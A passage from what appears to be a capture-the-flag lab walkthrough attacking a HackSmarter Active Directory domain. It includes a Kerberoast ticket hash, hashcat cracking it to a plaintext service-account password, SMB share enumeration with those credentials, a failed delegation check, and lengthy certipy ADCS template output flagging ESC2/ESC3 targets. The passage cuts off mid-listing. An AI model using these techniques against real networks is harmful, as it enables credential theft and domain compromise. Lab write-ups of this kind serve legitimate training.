$krb5tgs$23$*alt.svc$HACKSMARTER.LOCAL$hacksmarter.local/alt.svc*$5f04c47f8dfb975038a2fcf33c126785$751a2cbcde999fcdf2e97f8054f12ede54c0a6775add76b0f3a9966d224782b6f4ed362fbfdca989250d39cc62c618dd598faaf051689fdc6aeca1b65c36431daf599abb3e2b3a9a973e6df7d1489762cdce53cb15a1cb920dc7abdbb901f8d06edbb1b1b71cfde5fefcc9ddf0b2a44fc7d1b74513a22cb53fec87a8a82c9245bd35ff438c924e9d535d8bc5bacb396a177ea726ccbb78ce97b7a1cc1a112fd700540378e1f89ffe03b3de556f70e22d7012dc88c6758496557af6d9c81db81dd2b26a83b1b40ffdb6c6d0772e7a2319e561d43b99c9bb6816e5e0439cfb61dd5b4cde5906fd2db98d0bb3db718413e2b6b8daba4fe08daef2e19e9c015614e1f147ccd16ade3319a8af21700b010d93a6e14348567702dbab4bde86745c9d6649c5644569f6e81d5ccd963b47b406110d49b0d634be3faa3b2fab51e9b9c30bf006bb9b9dcdebeb118844262d4d4630dd54d2891ef8fc3a0d6b1766433fac64dbc7c0148bbdd4e8c66ccfc6c2ebc82a4bdd56e137c82aa0b744aea15233ec9cf609a5e546b2d3bdb1bf6999cc00846a0eb45e9604a7e175c4f19fc6805d6f00915ed87cbdb4a85ace9e3b8bbcf61a813a083dbd859bbd8e9f1b62fa3148f7e4ce907e8571e20550333bf0ca36ccbe937c69b0b2a65bbb5279a80e74b882d325da16398c23c511a0e5efd36ea38145c9fe50026f63d66918cfcc1bed06453fea9e1f4a9aac53cf3f89024374b641f7eabaa611ba123bdbcdfdb9f6e75d3870409598734a0919b364e7b2997571bb11a3ddfa06968b8998b1032f044bd605dcf1c28ae9693739deed6753f97c72e2712d1955f82a6caf1bc1caa6506ac056cc936158eb8341d365820487a3db2c6750fda5b387165460a2258720bb41460cd45cb3261791df3be63c0bc64a1d66bd36c74340a878bfd57757a3fc89997765a55b4283295d3ee9287663d3fab29dd38ff718322e805f00a5c84076018917276dec0888bb56e805cff3056a4ee876a69da6e0787d3329b63394e39f7d058463252a48266ecd45ec3c5b2246cdd1f9a1b65e742b7f4b6d453c5060d24665f981e73587098415a6783b3157b0d56d4e35f28bbf075640ce9b741515341eb55d9f67d974d3a21e6f38588206c6881104318fa34f393bb0d3285b930df2af3e7a7d0b6712aca508a6a9e0cb77d38a6cc6dcf3cd054b741784d5668b8fd40c0ac70028bc1c112da449fb0aad7877e8cba46e084e03e4238638627184a46af14bcec446d98af639eb3be8350b708ab933ffa2357c9d7e4e2c98606a4e3cdfafe316e6c509ce557e7ef56ac508b8bb0ae15018e9719b8600b4ac74ec333c36d80f6dfcb48621b1e9ea2ffde5986e8de20cf435b33eafa8cc6296dc0ef75a02d6a941fd065bb6c8f33a37d65b275957c27e820744209ec52cee4335439b4122d59062df6da602ff6127655948bc36acd1d0c82092bb39034cffea739cd8c61dd6054ec17e643e158e663d1d503baa384f4363e8e5eae5b97eb07e6d6a9e95 ``` {% endcode %} Cracking the password: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt hashcat (v7.1.2) starting OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #01: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 6957/13914 MB (2048 MB allocatable), 4MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory allocated for this attack: 513 MB (11321 MB free) Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $krb5tgs$23$*alt.svc$HACKSMARTER.LOCAL$hacksmarter.local/alt.svc*$5f04c47f8dfb975038a2fcf33c126785$751a2cbcde999fcdf2e97f8054f12ede54c0a6775add76b0f3a9966d224782b6f4ed362fbfdca989250d39cc62c618dd598faaf051689fdc6aeca1b65c36431daf599abb3e2b3a9a973e6df7d1489762cdce53cb15a1cb920dc7abdbb901f8d06edbb1b1b71cfde5fefcc9ddf0b2a44fc7d1b74513a22cb53fec87a8a82c9245bd35ff438c924e9d535d8bc5bacb396a177ea726ccbb78ce97b7a1cc1a112fd700540378e1f89ffe03b3de556f70e22d7012dc88c6758496557af6d9c81db81dd2b26a83b1b40ffdb6c6d0772e7a2319e561d43b99c9bb6816e5e0439cfb61dd5b4cde5906fd2db98d0bb3db718413e2b6b8daba4fe08daef2e19e9c015614e1f147ccd16ade3319a8af21700b010d93a6e14348567702dbab4bde86745c9d6649c5644569f6e81d5ccd963b47b406110d49b0d634be3faa3b2fab51e9b9c30bf006bb9b9dcdebeb118844262d4d4630dd54d2891ef8fc3a0d6b1766433fac64dbc7c0148bbdd4e8c66ccfc6c2ebc82a4bdd56e137c82aa0b744aea15233ec9cf609a5e546b2d3bdb1bf6999cc00846a0eb45e9604a7e175c4f19fc6805d6f00915ed87cbdb4a85ace9e3b8bbcf61a813a083dbd859bbd8e9f1b62fa3148f7e4ce907e8571e20550333bf0ca36ccbe937c69b0b2a65bbb5279a80e74b882d325da16398c23c511a0e5efd36ea38145c9fe50026f63d66918cfcc1bed06453fea9e1f4a9aac53cf3f89024374b641f7eabaa611ba123bdbcdfdb9f6e75d3870409598734a0919b364e7b2997571bb11a3ddfa06968b8998b1032f044bd605dcf1c28ae9693739deed6753f97c72e2712d1955f82a6caf1bc1caa6506ac056cc936158eb8341d365820487a3db2c6750fda5b387165460a2258720bb41460cd45cb3261791df3be63c0bc64a1d66bd36c74340a878bfd57757a3fc89997765a55b4283295d3ee9287663d3fab29dd38ff718322e805f00a5c84076018917276dec0888bb56e805cff3056a4ee876a69da6e0787d3329b63394e39f7d058463252a48266ecd45ec3c5b2246cdd1f9a1b65e742b7f4b6d453c5060d24665f981e73587098415a6783b3157b0d56d4e35f28bbf075640ce9b741515341eb55d9f67d974d3a21e6f38588206c6881104318fa34f393bb0d3285b930df2af3e7a7d0b6712aca508a6a9e0cb77d38a6cc6dcf3cd054b741784d5668b8fd40c0ac70028bc1c112da449fb0aad7877e8cba46e084e03e4238638627184a46af14bcec446d98af639eb3be8350b708ab933ffa2357c9d7e4e2c98606a4e3cdfafe316e6c509ce557e7ef56ac508b8bb0ae15018e9719b8600b4ac74ec333c36d80f6dfcb48621b1e9ea2ffde5986e8de20cf435b33eafa8cc6296dc0ef75a02d6a941fd065bb6c8f33a37d65b275957c27e820744209ec52cee4335439b4122d59062df6da602ff6127655948bc36acd1d0c82092bb39034cffea739cd8c61dd6054ec17e643e158e663d1d503baa384f4363e8e5eae5b97eb07e6d6a9e95:babygirl1 Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) Hash.Target......: $krb5tgs$23$*alt.svc$HACKSMARTER.LOCAL$hacksmarter....6a9e95 Time.Started.....: Sun Dec 28 15:20:08 2025 (0 secs) Time.Estimated...: Sun Dec 28 15:20:08 2025 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 866.4 kH/s (2.06ms) @ Accel:1024 Loops:1 Thr:1 Vec:16 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 4096/14344385 (0.03%) Rejected.........: 0/4096 (0.00%) Restore.Point....: 0/14344385 (0.00%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#01...: 123456 -> oooooo Hardware.Mon.#01.: Util: 27% Started: Sun Dec 28 15:20:06 2025 Stopped: Sun Dec 28 15:20:10 2025 ``` {% endcode %} New credentials found: ```bash alt.svc:babygirl1 ``` Checking shares: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u 'alt.svc' -p 'babygirl1' --shares SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\alt.svc:babygirl1 SMB 10.1.217.131 445 DC01 [*] Enumerated shares SMB 10.1.217.131 445 DC01 Share Permissions Remark SMB 10.1.217.131 445 DC01 ----- ----------- ------ SMB 10.1.217.131 445 DC01 ADMIN$ Remote Admin SMB 10.1.217.131 445 DC01 C$ Default share SMB 10.1.217.131 445 DC01 IPC$ READ Remote IPC SMB 10.1.217.131 445 DC01 NETLOGON READ Logon server share SMB 10.1.217.131 445 DC01 SYSVOL READ Logon server share ``` {% endcode %} * Nothing different than `faraday` #### Unconstrained Delegation {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ impacket-findDelegation HACKSMARTER.local/faraday -no-pass -dc-ip 10.1.217.131 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] Error in bindRequest -> invalidCredentials: 8009030C: LdapErr: DSID-0C09070F, comment: AcceptSecurityContext error, data 52e, v4f7c ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ impacket-findDelegation HACKSMARTER.local/alt.svc -no-pass -dc-ip 10.1.217.131 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] Error in bindRequest -> invalidCredentials: 8009030C: LdapErr: DSID-0C09070F, comment: AcceptSecurityContext error, data 52e, v4f7c ``` {% endcode %} *** ### 3.6: Active Directory Certificate Services (ADCS) #### Certificate Authorities (Probably not vulnerable) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[/opt] └─$ certipy-ad find -u faraday@hacksmarter.local -p 'hacksmarter123' -dc-ip 10.1.217.131 Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 14 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for 'hacksmarter-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for 'hacksmarter-DC01-CA' [*] Checking web enrollment for CA 'hacksmarter-DC01-CA' @ 'DC01.hacksmarter.local' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Saving text output to '20251228152949_Certipy.txt' [-] Error writing output file: [Errno 13] Permission denied: '20251228152949_Certipy.txt'. Dumping to stdout instead [-] Use -debug to print a stacktrace Certificate Authorities 0 CA Name : hacksmarter-DC01-CA DNS Name : DC01.hacksmarter.local Certificate Subject : CN=hacksmarter-DC01-CA, DC=hacksmarter, DC=local Certificate Serial Number : 1DBC9F9ECF287FB04FDE66106578611F Certificate Validity Start : 2025-09-21 15:32:14+00:00 Certificate Validity End : 2030-09-21 15:42:14+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : HACKSMARTER.LOCAL\\Administrators Access Rights ManageCa : HACKSMARTER.LOCAL\\Administrators HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins ManageCertificates : HACKSMARTER.LOCAL\\Administrators HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Enroll : HACKSMARTER.LOCAL\\Authenticated Users Certificate Templates 0 Template Name : KeyRecoveryAgent Display Name : Key Recovery Agent Enabled : False Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectRequireDirectoryPath Enrollment Flag : IncludeSymmetricAlgorithms PendAllRequests PublishToKraContainer AutoEnrollment Private Key Flag : ExportableKey Extended Key Usage : Key Recovery Agent Requires Manager Approval : True Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 1 Template Name : CAExchange Display Name : CA Exchange Enabled : False Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : IncludeSymmetricAlgorithms Extended Key Usage : Private Key Archival Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 week Renewal Period : 1 day Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 2 Template Name : CrossCA Display Name : Cross Certification Authority Enabled : False Client Authentication : True Enrollment Agent : True Any Purpose : True Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : PublishToDs Private Key Flag : ExportableKey Requires Manager Approval : False Requires Key Archival : False RA Application Policies : Qualified Subordination Authorized Signatures Required : 1 Schema Version : 2 Validity Period : 5 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 3 Template Name : ExchangeUserSignature Display Name : Exchange Signature Only Enabled : False Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Secure Email Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 4 Template Name : ExchangeUser Display Name : Exchange User Enabled : False Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : IncludeSymmetricAlgorithms Private Key Flag : ExportableKey Extended Key Usage : Secure Email Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 5 Template Name : CEPEncryption Display Name : CEP Encryption Enabled : False Client Authentication : False Enrollment Agent : True Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Certificate Request Agent Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 6 Template Name : OfflineRouter Display Name : Router (Offline request) Enabled : False Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 7 Template Name : IPSECIntermediateOffline Display Name : IPSec (Offline request) Enabled : False Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : IP security IKE intermediate Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 8 Template Name : IPSECIntermediateOnline Display Name : IPSec Enabled : False Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns SubjectRequireDnsAsCn Enrollment Flag : AutoEnrollment Extended Key Usage : IP security IKE intermediate Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Computers HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Computers HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins 9 Template Name : SubCA Display Name : Subordinate Certification Authority Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : True Any Purpose : True Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Private Key Flag : ExportableKey Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 5 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 10 Template Name : CA Display Name : Root Certification Authority Enabled : False Client Authentication : True Enrollment Agent : True Any Purpose : True Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Private Key Flag : ExportableKey Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 5 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 11 Template Name : WebServer Display Name : Web Server Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 12 Template Name : DomainController Display Name : Domain Controller Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDirectoryGuid SubjectAltRequireDns SubjectRequireDnsAsCn Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs AutoEnrollment Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Enterprise Read-only Domain Controllers HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\Enterprise Domain Controllers Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\Enterprise Domain Controllers 13 Template Name : Machine Display Name : Computer Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns SubjectRequireDnsAsCn Enrollment Flag : AutoEnrollment Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Computers HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Computers HACKSMARTER.LOCAL\\Enterprise Admins [+] User Enrollable Principals : HACKSMARTER.LOCAL\\Domain Computers [*] Remarks ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. 14 Template Name : 